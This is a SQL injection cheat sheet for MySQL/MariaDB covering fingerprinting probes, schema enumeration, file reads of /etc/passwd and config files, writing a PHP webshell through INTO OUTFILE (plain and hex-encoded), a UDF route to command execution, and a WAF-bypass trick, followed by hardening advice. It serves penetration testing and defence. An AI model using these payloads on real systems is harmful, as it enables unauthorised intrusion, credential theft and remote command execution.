MySQL / MariaDB
Fingerprinting, syntax, metadata access, file operations and command execution on the most commonly encountered engine.
Fingerprinting
MySQL is distinguishable from every other engine by two quirks:
#is a valid comment. No other major engine accepts it.- Adjacent string literals concatenate.
'ali' 'ce'equals'alice'in MySQL and is a syntax error elsewhere.
MariaDB is a fork and behaves identically for almost everything here; @@version distinguishes them (10.11.6-MariaDB vs 8.0.35). Where behaviour diverges it is noted.
Identification probes
' AND @@version LIKE '5%'-- - -- version family
' AND CONNECTION_ID()=CONNECTION_ID()-- -
' # comment syntax unique to MySQL
' AND 'ali' 'ce'='alice'-- - -- literal concatenation, MySQL only
-- Error text is distinctive:
-- "You have an error in your SQL syntax; check the manual that
-- corresponds to your MySQL server version"Syntax Reference
| Operation | Syntax |
|---|---|
| Comment | -- - or # or /* */ |
| Version | @@version VERSION() |
| Current user | CURRENT_USER() USER() SESSION_USER() |
| Current database | DATABASE() SCHEMA() |
| Concatenation | CONCAT(a,b) CONCAT_WS(sep,a,b) 'a' 'b' |
| Substring | SUBSTRING(s,pos,len) MID(s,pos,len) SUBSTR(s,pos,len) |
| Length | LENGTH(s) CHAR_LENGTH(s) |
| ASCII value | ASCII(c) ORD(c) |
| Char from code | CHAR(65) |
| Hex encode | HEX(s) 0x616263 as a literal |
| Delay | SLEEP(5) BENCHMARK(5000000,MD5('a')) |
| Conditional | IF(cond,a,b) CASE WHEN cond THEN a ELSE b END |
| Row limit | LIMIT 1 LIMIT 1 OFFSET 5 |
| Aggregate rows | GROUP_CONCAT(col SEPARATOR ',') |
| No-table SELECT | SELECT 1 (no FROM needed) |
Schema Enumeration
-- Databases
SELECT schema_name FROM information_schema.schemata
-- Tables in the current database
SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE()
-- Columns of a table
SELECT column_name,data_type FROM information_schema.columns WHERE table_name='users'
-- Everything at once — one request for the whole schema.
-- GROUP_CONCAT is the single biggest time-saver on MySQL.
SELECT GROUP_CONCAT(CONCAT(table_name,'.',column_name) SEPARATOR ', ')
FROM information_schema.columns WHERE table_schema=DATABASE()
-- WARNING: group_concat_max_len defaults to 1024 bytes and truncates
-- SILENTLY. Check the length first, or raise it if you have privileges:
SELECT @@group_concat_max_len
-- Current privileges — determines what else on this page is reachable
SELECT * FROM information_schema.user_privileges WHERE grantee LIKE CONCAT('%',SUBSTRING_INDEX(USER(),'@',1),'%')
SHOW GRANTSFile Read and Write
MySQL can read and write files on the server, gated by two things: the FILE privilege, and the secure_file_priv system variable.
secure_file_priv behaviour:
- empty string — no restriction, everything below works
- a directory path — file operations confined to that directory
- NULL — file operations disabled entirely
Since MySQL 5.7.6 the default is a fixed directory, and many distribution packages set it to NULL. Check before spending time here.
File operations
-- Check what is possible first
SELECT @@secure_file_priv
SELECT @@datadir
-- Read
' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL-- -
' UNION SELECT NULL,LOAD_FILE('/var/www/html/config.php'),NULL-- -
-- LOAD_FILE returns NULL on any failure — missing file, no permission,
-- or secure_file_priv. NULL alone does not tell you which.
-- Write a webshell. Needs FILE, a writable web root, and
-- secure_file_priv permitting it.
' UNION SELECT NULL,'<?php system($_GET[0]); ?>',NULL
INTO OUTFILE '/var/www/html/s.php'-- -
-- DUMPFILE writes raw bytes with no formatting — required for binaries.
-- OUTFILE adds row/column separators and will corrupt a binary payload.
' UNION SELECT 0x3c3f7068702073797374656d28245f4745545b305d293b203f3e
INTO DUMPFILE '/var/www/html/s.php'-- -
-- INTO OUTFILE refuses to overwrite an existing file. Pick a new name.Command Execution
MySQL has no built-in command execution. The routes are:
Webshell via INTO OUTFILE — by far the most common. Needs FILE, a writable directory inside the web root, and permissive secure_file_priv. See above.
User-defined functions — write a shared library into the plugin directory with INTO DUMPFILE, then CREATE FUNCTION to expose sys_exec. Needs FILE plus INSERT on mysql, and the plugin directory must be writable. The lib_mysqludf_sys library is the standard implementation. This is heavier and more fragile than a webshell but works when there is no web root.
Stacked queries are usually unavailable on MySQL — mysqli_query and PDO are single-statement by default — so neither route can be reached by simply appending a statement. See Stacked Queries.
UDF path (outline)
-- 1. Find where plugins load from
SELECT @@plugin_dir
-- 2. Write the shared object there (hex-encoded lib_mysqludf_sys)
SELECT 0x7f454c46... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'
-- 3. Register the function
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so'
-- 4. Execute
SELECT sys_exec('id > /tmp/o')
-- Fragile in practice: the plugin dir is usually root-owned, and
-- the .so must match the server's architecture and libc.Quirks Worth Knowing
Comment needs whitespace. -- alone is not a comment in MySQL; it requires a following whitespace character. Use -- - so the marker survives a URL round-trip, or #.
Versioned comments execute. /*!50000 SELECT */ runs on MySQL 5.0 and above while looking like a comment to anything else. This is a WAF-bypass staple — see Filter Evasion.
Hex literals need no quotes. 0x61646d696e is 'admin', which defeats filters that strip quotes entirely.
Implicit type juggling. '1abc' = 1 is true, and 'abc' = 0 is true. Comparisons between a string column and an integer can behave surprisingly.
information_schema is filtered by privilege. It shows only what your account can see, so an empty result means low privilege rather than an empty schema.
MariaDB divergence. No sys schema by default; SLEEP() behaves the same; some JSON functions differ. Check @@version when a payload fails unexpectedly.
Prevention
Use prepared statements — see PHP, Python, Node.js, Java.
MySQL-specific hardening:
- Set
secure_file_priv=NULLunless file access is genuinely required. - Never grant
FILEto an application account. It is a server-wide privilege, not a per-database one. - Do not enable multi-statement support (
allowMultiQueries,MYSQL_ATTR_MULTI_STATEMENTS). - Grant only the specific DML the application needs, on only its own schema.
- Ensure the MySQL process user cannot write to the web root.
Related
Appending a second SELECT to the original query so its rows are returned alongside the application's own results. The fastest extraction path when output is visible.
Coercing the database into embedding your query result inside its own error message. Fast extraction when errors reach the client but results do not.
Turning a database query into filesystem access: reading configuration and credentials, and writing a webshell into a served directory.
The routes from an injected query to a shell on the database host, and which engines hand it to you directly.
PDO prepared statements, the emulated-prepares trap that makes them lie, and Laravel's raw-query escape hatches.
Working around application-level defences: blocked quotes, stripped keywords, escaped input, and length caps — without a WAF in sight.